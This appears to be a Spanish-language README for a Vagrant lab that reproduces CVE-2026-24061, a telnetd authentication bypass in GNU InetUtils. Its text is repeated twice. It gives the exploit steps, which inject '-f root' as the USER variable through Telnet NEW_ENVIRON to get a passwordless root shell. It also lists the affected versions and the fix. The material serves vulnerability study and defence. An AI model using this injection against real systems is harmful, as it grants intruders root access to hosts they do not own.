
Laboratorio de reproducción para CVE-2026-24061, una omisión de autenticación en GNU InetUtils telnetd. Proporciona un entorno aislado basado en Vagrant e instrucciones de explotación paso a paso para demostrar el acceso a la shell raíz.
⚠️ Con fines educativos únicamente. Entorno de laboratorio aislado.
Bypass de autenticación crítico (CVSS 9.8) en GNU InetUtils telnetd ≤ 2.7.
Al inyectar -f root como variable USER mediante la opción Telnet NEW_ENVIRON,
un atacante no autenticado puede obtener un shell root sin ninguna contraseña.
La variable USER recibida del cliente durante la negociación Telnet se pasa
directamente a /usr/bin/login sin sanitización:
/usr/bin/login -p -f root
La bandera -f le indica a login que omita la verificación de contraseña para el usuario dado.
Este comportamiento está documentado en RFC 1572 (Sección 7) como un riesgo conocido — sin embargo,
el bug estuvo presente en inetutils durante más de una década.
GNU InetUtils telnetd 1.9.3 hasta 2.7
Actualizar a GNU InetUtils ≥ 2.7-2
Este laboratorio utiliza Vagrant para aprovisionar una VM real aislada que ejecuta la versión vulnerable de telnetd (inetutils 2.5, compilado desde fuente), lo más cercano posible a un entorno real.
Requisitos: Vagrant + VirtualBox instalados en tu máquina.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM arranca con IP 192.168.56.10 y telnetd escuchando en el puerto 23.

Desde tu máquina anfitriona:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER se inyecta mediante la opción Telnet NEW_ENVIRON durante la fase de negociación — antes de que aparezca el prompt de inicio de sesión.

Agokoli
⚠️ Uso educativo únicamente. Entorno aislado.
Bypass de autenticación crítico (CVSS 9.8) en GNU InetUtils telnetd ≤ 2.7.
Inyectando -f root como valor de la variable USER mediante la opción Telnet NEW_ENVIRON,
un atacante no autenticado puede obtener un shell root sin ninguna contraseña.
La variable USER recibida del cliente durante la negociación Telnet se pasa
directamente a /usr/bin/login sin validación:
/usr/bin/login -p -f root
La bandera -f le indica a login que no verifique la contraseña para el usuario dado.
Este riesgo está documentado en la RFC 1572 (Sección 7) — sin embargo, el bug permaneció
presente en inetutils durante más de una década.
GNU InetUtils telnetd 1.9.3 a 2.7
Actualizar a GNU InetUtils ≥ 2.7-2
Este laboratorio utiliza Vagrant para aprovisionar una VM real aislada que ejecuta la versión vulnerable de telnetd (inetutils 2.5, compilado desde las fuentes), con el objetivo de estar lo más cerca posible de un entorno real.
Requisitos: Vagrant + VirtualBox instalados en tu máquina.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM arranca con la IP 192.168.56.10 y telnetd escuchando en el puerto 23.

Desde tu máquina anfitriona:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER se inyecta mediante la opción NEW_ENVIRON del protocolo Telnet durante
la fase de negociación — antes incluso de que aparezca el prompt login:.

Agokoli